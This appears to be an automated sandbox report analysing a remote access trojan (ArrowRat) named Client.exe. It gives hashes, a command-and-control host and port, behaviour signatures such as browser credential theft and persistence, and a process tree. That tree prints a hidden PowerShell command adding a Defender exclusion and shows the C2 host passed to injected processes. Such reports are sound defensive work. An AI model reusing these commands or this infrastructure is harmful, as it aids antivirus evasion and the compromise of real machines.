Overview

overview

10

Static

static

10

Client.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-08-2024 09:55

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General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    ed0eb58e701a62ef732db4bb2223565e

  • SHA1

    882f556e08047535c88f33eb7a53652134d1081f

  • SHA256

    01b5d985ba53c1d789b144694e179d04c8c0ff95e88659ce9e8b9b6e77f357ff

  • SHA512

    f7395647176b2a3ff456eda2924bb2fa3fe507bacf93933bfb0588c03a7a87ab8b0339ca2f8b258a9acb7b5d68cd8aae948382251ea274e0dd8d81360890ced2

  • SSDEEP

    3072:wbziH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPYdO8Y:wbzie0ODhTEPgnjuIJzo+PPcfPYQ8

Score
10/10
arrowratclient1credential_accessdiscoveryexecutionpersistenceratstealer

Malware Config

Extracted

Family

arrowrat

Botnet

Client1

C2

and-statements.gl.at.ply.gg:43442

Mutex

JeaMEllZK

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 50 IoCs
  • Suspicious use of SendNotifyMessage 22 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3864
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:5000
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client1 and-statements.gl.at.ply.gg 43442 JeaMEllZK
      2⤵
        PID:3900
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client1 and-statements.gl.at.ply.gg 43442 JeaMEllZK
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2696
      • C:\Windows\System32\ComputerDefaults.exe
        "C:\Windows\System32\ComputerDefaults.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2420
        • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
          "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Pan\dora'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3496
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4920
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2904

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133669797617813775.txt
      Filesize

      75KB

      MD5

      703815e317e0a4ebe3a5e11d3feb83dc

      SHA1

      41d2ba6b0515ee9d9e31be7cb5997dfdbc260841

      SHA256

      ed708c3b5d615cc42ee18f016f779a5c07553ce3b20d8ddc17c72251c21851ee

      SHA512

      eded9ec73c8936fc9c11bd842dde80066bce1573a48b9ee04a525e5db7c1a3a05809579b5dfd85b350fffb510d9b387a6e236883f3a5822969540fc1de8a4c53

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4qppxokv.lr4.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Roaming\temp0923
      Filesize

      10B

      MD5

      82c8be87d88e7d1ce57025d03b210d8e

      SHA1

      20c356eacf2c03c0a254c83d130c7e12d689f7c9

      SHA256

      7e26471598288821940284c3a32dc53a0b487c73f4bfa76938f52d495d88bcaf

      SHA512

      27930195026f54f68a2a8a251a26d045106a3e9d8975670c9b8a354c9e4dd8d75fa7e269550d71b8ac5e702b23b31c47e72dee50e2774a2382f890cbe6abc77d

      Download Submit

    • memory/2696-2-0x0000000000400000-0x0000000000418000-memory.dmp

      Filesize

      96KB

      Download

    • memory/2696-5-0x00000000058A0000-0x000000000593C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/2696-4-0x00000000057E0000-0x0000000005872000-memory.dmp

      Filesize

      584KB

      Download

    • memory/2696-6-0x00000000060C0000-0x0000000006664000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/2696-7-0x0000000006000000-0x0000000006066000-memory.dmp

      Filesize

      408KB

      Download

    • memory/2696-10-0x00000000068C0000-0x0000000006910000-memory.dmp

      Filesize

      320KB

      Download

    • memory/2904-69-0x0000017E60E30000-0x0000017E60E50000-memory.dmp

      Filesize

      128KB

      Download

    • memory/2904-34-0x000001765E700000-0x000001765E800000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2904-33-0x000001765E700000-0x000001765E800000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2904-38-0x0000017E60A60000-0x0000017E60A80000-memory.dmp

      Filesize

      128KB

      Download

    • memory/2904-63-0x0000017E60A20000-0x0000017E60A40000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3496-24-0x0000026A75100000-0x0000026A75122000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3864-0-0x000001F18FEB0000-0x000001F18FEDE000-memory.dmp

      Filesize

      184KB

      Download

    • memory/3864-25-0x00007FFE020A0000-0x00007FFE02B61000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3864-1-0x00007FFE020A3000-0x00007FFE020A5000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3864-222-0x00007FFE020A0000-0x00007FFE02B61000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/5000-32-0x0000000003460000-0x0000000003461000-memory.dmp

      Filesize

      4KB

      Download